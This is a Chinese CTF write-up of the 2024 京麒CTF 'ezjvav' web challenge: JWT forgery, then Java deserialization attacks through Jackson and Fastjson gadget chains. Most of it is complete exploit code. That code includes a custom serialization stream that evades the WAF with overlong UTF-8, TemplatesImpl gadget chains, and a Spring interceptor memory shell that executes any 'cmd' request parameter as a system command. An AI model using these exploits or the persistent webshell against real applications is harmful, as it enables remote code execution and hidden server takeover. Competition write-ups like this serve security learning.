【Web】2024 京麒CTF ezjvav题解
CSDN 2024-06-13 12:33:03 阅读 67
目录
step 0
step 1
step 2
EXP1
EXP2
step 0
进来是一个登录框
admin/admin成功登录
访问./source
jwt伪造
带着伪造的jwt访问./source,拿到题目源码jar包
step 1
pom依赖有spring、fj、rome
反序列化入口在./Jsrc路由
有两层waf,一个是明文流量层面的检测,一个是反序列化过程的检测,前者可以自定义输出流改写序列化数据绕过
流量层面关于序列化数据明文绕过
waf部分,只看前者的话,就是ban掉了Rome的一些打法
可以打jackson原生反序列化
EventListenerList.readObject -> POJONode.toString -> TemplatesImpl.getOutputProperties
Jackson原生反序列化
处理Jackson链子不稳定性
也可以打fastjson原生反序列化
HashMap.readObject->HashMap.putVal->HotSwappableTargetSource.equals->XString.equals->JSONArray.toString-> JSONArray#toJSONString -> TemplatesImpl.getOutputProperties
FastJson原生反序列化
step 2
EXP1
自定义输出流
package com.example.jsrc.exp;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;public class CustomObjectOutputStream extends ObjectOutputStream { private static HashMap<Character, int[]> map; static { map = new HashMap<>(); map.put('.', new int[]{0xc0, 0xae}); map.put(';', new int[]{0xc0, 0xbb}); map.put('$', new int[]{0xc0, 0xa4}); map.put('[', new int[]{0xc1, 0x9b}); map.put(']', new int[]{0xc1, 0x9d}); map.put('a', new int[]{0xc1, 0xa1}); map.put('b', new int[]{0xc1, 0xa2}); map.put('c', new int[]{0xc1, 0xa3}); map.put('d', new int[]{0xc1, 0xa4}); map.put('e', new int[]{0xc1, 0xa5}); map.put('f', new int[]{0xc1, 0xa6}); map.put('g', new int[]{0xc1, 0xa7}); map.put('h', new int[]{0xc1, 0xa8}); map.put('i', new int[]{0xc1, 0xa9}); map.put('j', new int[]{0xc1, 0xaa}); map.put('k', new int[]{0xc1, 0xab}); map.put('l', new int[]{0xc1, 0xac}); map.put('m', new int[]{0xc1, 0xad}); map.put('n', new int[]{0xc1, 0xae}); map.put('o', new int[]{0xc1, 0xaf}); // 0x6f map.put('p', new int[]{0xc1, 0xb0}); map.put('q', new int[]{0xc1, 0xb1}); map.put('r', new int[]{0xc1, 0xb2}); map.put('s', new int[]{0xc1, 0xb3}); map.put('t', new int[]{0xc1, 0xb4}); map.put('u', new int[]{0xc1, 0xb5}); map.put('v', new int[]{0xc1, 0xb6}); map.put('w', new int[]{0xc1, 0xb7}); map.put('x', new int[]{0xc1, 0xb8}); map.put('y', new int[]{0xc1, 0xb9}); map.put('z', new int[]{0xc1, 0xba}); map.put('A', new int[]{0xc1, 0x81}); map.put('B', new int[]{0xc1, 0x82}); map.put('C', new int[]{0xc1, 0x83}); map.put('D', new int[]{0xc1, 0x84}); map.put('E', new int[]{0xc1, 0x85}); map.put('F', new int[]{0xc1, 0x86}); map.put('G', new int[]{0xc1, 0x87}); map.put('H', new int[]{0xc1, 0x88}); map.put('I', new int[]{0xc1, 0x89}); map.put('J', new int[]{0xc1, 0x8a}); map.put('K', new int[]{0xc1, 0x8b}); map.put('L', new int[]{0xc1, 0x8c}); map.put('M', new int[]{0xc1, 0x8d}); map.put('N', new int[]{0xc1, 0x8e}); map.put('O', new int[]{0xc1, 0x8f}); map.put('P', new int[]{0xc1, 0x90}); map.put('Q', new int[]{0xc1, 0x91}); map.put('R', new int[]{0xc1, 0x92}); map.put('S', new int[]{0xc1, 0x93}); map.put('T', new int[]{0xc1, 0x94}); map.put('U', new int[]{0xc1, 0x95}); map.put('V', new int[]{0xc1, 0x96}); map.put('W', new int[]{0xc1, 0x97}); map.put('X', new int[]{0xc1, 0x98}); map.put('Y', new int[]{0xc1, 0x99}); map.put('Z', new int[]{0xc1, 0x9a}); } public CustomObjectOutputStream(OutputStream out) throws IOException { super(out); } @Override protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException { String name = desc.getName();// writeUTF(desc.getName()); writeShort(name.length() * 2); for (int i = 0; i < name.length(); i++) { char s = name.charAt(i);// System.out.println(s); write(map.get(s)[0]); write(map.get(s)[1]); } writeLong(desc.getSerialVersionUID()); try { byte flags = 0; if ((boolean)getFieldValue(desc,"externalizable")) { flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); protocolField.setAccessible(true); int protocol = (int) protocolField.get(this); if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { flags |= ObjectStreamConstants.SC_BLOCK_DATA; } } else if ((boolean)getFieldValue(desc,"serializable")){ flags |= ObjectStreamConstants.SC_SERIALIZABLE; } if ((boolean)getFieldValue(desc,"hasWriteObjectData")) { flags |= ObjectStreamConstants.SC_WRITE_METHOD; } if ((boolean)getFieldValue(desc,"isEnum") ) { flags |= ObjectStreamConstants.SC_ENUM; } writeByte(flags); ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc,"fields"); writeShort(fields.length); for (int i = 0; i < fields.length; i++) { ObjectStreamField f = fields[i]; writeByte(f.getTypeCode()); writeUTF(f.getName()); if (!f.isPrimitive()) { Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class); writeTypeString.setAccessible(true); writeTypeString.invoke(this,f.getTypeString());// writeTypeString(f.getTypeString()); } } } catch (NoSuchFieldException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (NoSuchMethodException e) { throw new RuntimeException(e); } catch (InvocationTargetException e) { throw new RuntimeException(e); } } public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); Object value = field.get(object); return value; }}
JSON链
package com.example.jsrc.exp;import com.example.jsrc.func.ByteCompare;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Vector;public class JSON { public static void main(String[] args) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(makeTemplatesImplAopProxy()); serialize(readObject2toString(node)); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static Object getValue(Object obj, String name) throws Exception { Field field = getField(obj.getClass(), name); return field.get(obj); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object readObject2toString(Object obj) throws Exception { EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector)getValue(manager, "edits"); vector.add(obj); setValue(list, "listenerList", new Object[]{InternalError.class, manager}); return list; } public static void setFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void serialize(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); ByteCompare byteCompare = new ByteCompare(); byteCompare.Compared(baos.toByteArray()); } public static Object makeTemplatesImplAopProxy() throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(makeTemplatesImpl()); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } public static Object makeTemplatesImpl() throws Exception { byte[] bytes1 = ClassPool.getDefault().get("com.example.jsrc.exp.EvilInterceptor").toBytecode(); byte[][] bytes = new byte[][]{bytes1}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "test"); return templates; }}
内存马
package com.example.jsrc.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;public class EvilInterceptor extends AbstractTranslet implements HandlerInterceptor { static { System.out.println("Start"); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } EvilInterceptor evilInterceptor = new EvilInterceptor(); adaptInterceptors.add(evilInterceptor); System.out.println("Inject Success"); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("cmd") != null) { try { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}
打入TemplatesImpl后
请求/?cmd=sudo cat /flag拿到flag
EXP2
另外附上,在打入TemplatesImpl的部分,fj原生反序列化的打法
package com.example.jsrc.exp;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class EXP { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\jsrc\\target\\classes\\com\\example\\jsrc\\exp\\Evil.class")); setValue(templatesimpl,"_name","xxx"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); JSONArray jsonArray = new JSONArray(); jsonArray.add(templatesimpl); HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx")); Map<Object, Object> hashMap = makeMap(h1, h1, h2, h2); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new CustomObjectOutputStream(baos); oos.writeObject(hashMap); oos.close();// // 使用 Base64 编码 String serializedData = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println(serializedData);//// ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));// Object o = (Object) ois.readObject(); } public static Map<Object, Object> makeMap(Object key1, Object value1, Object key2, Object value2) throws Exception { HashMap<Object, Object> map = new HashMap<>(); // 设置size为2 setValue(map, "size", 2); // 构造Node1 Class<?> nodeClazz = Class.forName("java.util.HashMap$Node"); Constructor<?> nodeCons = nodeClazz.getDeclaredConstructor(int.class, Object.class, Object.class, nodeClazz); nodeCons.setAccessible(true); Object node1 = nodeCons.newInstance(0, key1, value1, null); // 构造Node2 Object node2 = nodeCons.newInstance(0, key2, value2, null); // 构造tables Object tbl = Array.newInstance(nodeClazz, 2); Array.set(tbl, 0, node1); Array.set(tbl, 1, node2); setValue(map, "table", tbl); return map; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }}
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。